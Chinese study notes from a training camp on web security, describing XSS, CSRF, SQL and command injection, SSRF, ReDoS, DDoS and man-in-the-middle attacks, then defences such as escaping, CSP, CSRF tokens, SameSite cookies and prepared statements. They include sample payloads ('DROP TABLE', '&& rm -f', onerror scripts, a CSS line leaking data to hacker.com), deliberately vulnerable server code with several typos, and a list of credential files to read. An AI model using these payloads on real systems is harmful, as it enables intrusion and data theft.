这是我参与「第四届青训营 」笔记创作活动的第1天。
攻击篇
1.跨站脚本攻击(Cross-Site Scripting,XSS)
攻击方式:恶意用户将恶意脚本注入到我们开发维护的页面中。其他用户访问页面时,恶意脚本将被执行,从而完成攻击。
攻击意图:
- 窃取其他用户数据
- 盗用其他用户机器挖矿等。
不安全原因:
- 开发者盲目信任用户提交的内容
- 前端工程师直接将用户提交的string转化为DOM,如果用户的文本中包含
document.write,element.innerHTML = anyString,SSR(user_data)等都可能造成XSS攻击
特点:
- 通常难以从UI上感知(攻击者暗地执行脚本,不希望被开发者发现)
- 窃取用户信息(cookie、token)
- 绘制UI(例如弹窗)诱骗用户点击、填写表单
根据性质分类:
- 存储型XSS攻击(Stored XSS):
- 恶意脚本被存在数据库中
- 只要有用户访问页面就可以被脚本读取数据
- 危害最大,对全部访问用户都进行攻击
//服务端的提交接口和渲染接口如下
//服务端将用户发送的内容读入数据库
public async submit(stx){
const {content, id} = ctx.request.body;
//没有对content内容过滤
await db.szve({
content,
id
});
}
//服务端将用户的数据放入页面中
public async render(ctx){
const { content } = await db.query({
id: ctx.query.id
});
//没有对content内容过滤
ctx.body = `<div>${ content }</div>`;
}
//由于提交和渲染都没有对用户的内容进行过滤,所以给了攻击者可乘之机。
fetch("/submit", {
body: JSON.stringify({
id: "1",
content: `<script>alert("xss");</script>`
})
});
//则渲染后html中插入了一个sciipt标签,攻击者完成攻击。
- 反射型XSS攻击(Reflected XSS):
- 不涉及数据库,从URL上攻击
public async render(ctx){
const { param } = ctx.query;
ctx.status = 200;
ctx.body = `<div>${ content }</div>`;
}
//其中param可能为攻击者的恶意脚本<script>alert('123')</script>
- DOM-based XSS
- 不需要服务器的参与,恶意攻击的发起与执行全在浏览器完成
- 与反射型XSS攻击相同,从URL进行攻击,而反射型XSS通过服务器注入脚本,DOM-based从浏览器注入
const content = new URL(location.href).searchParams.get("param");
const div = document.createElement("div");
//恶意脚本注入
div.innerHTML = content;
document.body.append(div);
- Mutation-based XSS
- 利用浏览器渲染DOM的特性(不同浏览器渲染机制可能有区别,所以可以认为是按浏览器攻击的)
//
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
corme会渲染为
<div>
<noscript><p title="</noscript>
<img src="x" onerror="alert(1)">
"">"
</div>
2.跨站伪造请求Cross-site request forgery(CSRF)
攻击方式:在用户不知情的情况下,利用用户权限(如cookie)构造HTTP请求,窃取或修改用户敏感信息
//通过get请求实现CSRF攻击
<a href="https://bank.com/transfer?to=hacker&amount=100">点我抽奖</a>
则会有一个名为“点我抽奖”的链接,用户点击链接就会访问银行并给黑客转100元钱
<img style="display:none;" src="https://bank.com/transfer?to=hacker&amount=100"/>
当图片被加载时就会完成CSRF攻击
//CSRF攻击不局限于get请求,攻击者只需要构建一个html表单即可
<form action="https://bank/transfer_tons_of_money" method = "POST">
<input name="amount" value="1000" type="hidden" />
<input name="to" value="hacker" type="hidden" />
</form>
3.注入攻击
SQL Injection
//假设一个表格渲染方法如下
public async renderForm(ctx) {
const { username, form_id } = ctx.query;
const result = await sql.query(`
SELECT a, b, c FROM table
WHERE username = ${username} AND form_id = ${form_id}
`);
ctx.body = renderForm(result);
}
//攻击者可以使其变为
fetch("/api", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
username: "any; DROP TABLE table;",
});
})
//则服务端会执行
SELECT a,b,c FROM table WHERE username = any;
DROP RABLE table;
//数据库被删除
其他注入方式
- CLI
//音频转化方法
public async convertVideo(ctx) {
const { video, options } = ctx.request.body;
exec(`convert-cli ${video} -o ${options}`);
ctx.body = "ok";
}
//攻击者可以利用options参数
fetch("/api", {
method: "POST",
body: JSON.stringify({
options: ` && rm -f xxx`
})
});
//删除xxx文件
});
除了删除,读取和修改可能产生危害,如暴露重要的配置文件(/etc/passwd获取密码, /etc/shadow, ~/.ssh, /etc/apache2/httpd.conf, /etc/nginx/nginx.conf恶意转发流量等)
- OS command
- Server-Side Request Forgery(SSRF),严格而言,服务端伪造请求不是注入,但原理类似
//请求用户自定义的url
public async webhook(ctx) {
//callback可能是内网url
ctx.body = await fetch(ctx.query.callback);
}
//由于服务器有内网访问权限,如果不过滤url,用户能以此获取内网隐私信息
3.Denial of Service(DoS)
构造特定请求消耗服务器资源,导致服务器雪崩。
//正则表达式的贪婪模式,通过'?'控制匹配数量
const greedyRegExp = /a+/; //有多少匹配多少
const nonGreedyRegExp = /a+?/; //有一个就行
const str = "aaaaaa";
console.log(str.match(greedyRegExp)[0]; // "aaaaaa"
console.log(str.match(nonGreedyRegExp)[0]; //"a"
//弱服务器有一个贪婪的正则表达式/^((ab)*+$/
//此表达式可以匹配"ab","abab","ababab",......
//若攻击者发送"ababababa"
//则服务器先匹配到"/ababababab/"发现匹配不上,然后减少一次"ab"仍然匹配失败
//不断减少表达式长度,最后也没匹配上,但中途花费了大量时间
Distributed DoS(DDoD)
短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成,导致请求堆积,进而雪崩。
如TCP三次握手中的洪水攻击(SYN Flood)。
5.中间人攻击
A与B通信,实则中间有C窃听、修改双方谈话内容。
- 明文传输
- 信息篡改不可知
- 未认证对方身份
防御篇
1.XSS
方式:不要信任用户提交的内容,不能直接转化为DOM,而是转化为string。
工具:
- 前端:主流框架默认防御XSS。
google-closure-library。 - 服务端(Node):DOMPurify
如果用户需求必须动态生成DOM
- string->DOM:对string进行转义
- 允许用户上传svg文件:对svg文件扫描(查看里面是否有script脚本)
- 自定义跳转行为需要过滤url,防止代码插入
- 自定义样式也可能导致XSS攻击,需要额外留意
//收入大于等于10K的用户会有特定背景,相当于暴露了用户信息
input[type=radio].income-gt10k:checked {
background: url("https://hacker.com/?income=gt10k")
}
2.CSRF
同源策略(Same-origin Policy)
确保两个协议的协议、域名、端口号相等,才称为同源
内容安全策略(Content Security Policy,CSP)
定义哪些源(域名)是安全的。安全的可以执行,否则直接报错。可以对eval或inline script的标签直接报错。
//服务器的响应头部
Content-Security-Policy:script-src 'self' 同源
Content-Security-Policy:script-src 'self' https://domain.com
//浏览器meta
<meta http-equiv="Content-Security-Policy" content="script-src self">
如果有跨站伪造请求,则其来源为异常来源,对origin或referer校验,可以通过限制请求来源或限制请求完成防御
同源请求中get和head没有origin字段,所以referer应用更为广泛
使用token防御
浏览器请求页面,此时服务端返回页面,同时返回一个专属token,浏览器其他请求api需要与token一同发送,服务端验证token后返回数据
- token必须和具体用户绑定才能防止其他用户顶替,攻击者也可以注册自己的用户。
- 需要过期时间,防止token被破解。
iframe攻击: 通过iframe标签将非同源变为同源。
防御手段:设置X-Frame-Options响应头部,DENY(不允许iframe加载),SAMEORIGIN(同源才可加载)
CSRF反模式:get方法传参,把get当成get+post用,既能获取数据又能修改数据。如果被CSRF攻击,不仅信息泄露,还可能被篡改数据。
SameSite Cookie:限制页面域名和cookie域是否匹配,达到每个页面只能用自己的cookie。设置Set-Cookie: SameSite=None; Secure;来添加其他可以使用自己cookie的源,以确保依赖的第三方应用可以用。
| SameSite | CORS |
|---|---|
| Cookie发送 | 资源读写(HTTP请求) |
| domain vs 页面域名 | 资源域名vs页面域名 |
3.注入
- 使用prepared statement,预先编译sql语句,使注入不能完成。
- 最小权限原则:所有语句只给予最小权限,不要使用sudo或root权限。
- 建立允许语句名单,对语句进行过滤
- 对url类型参数进行协议、域名ip等限制
4.正则表达式的DoS
- 代码检查,不要用贪婪的正则表达式
- 代码扫描+正则性能测试
- 不要用用户提供的正则表达式
5.DDoS
- 流量治理:
- 负载均衡(过滤)
- API网关(过滤)
- CDN(增加抗量)
- 快速自动扩容(增加抗量)
- 非核心服务降级(增加抗量)
6.传输层防御(防御中间人)
使用https
- 可靠性:加密
- 完整性:MAC验证
- 不可抵赖性:数字签名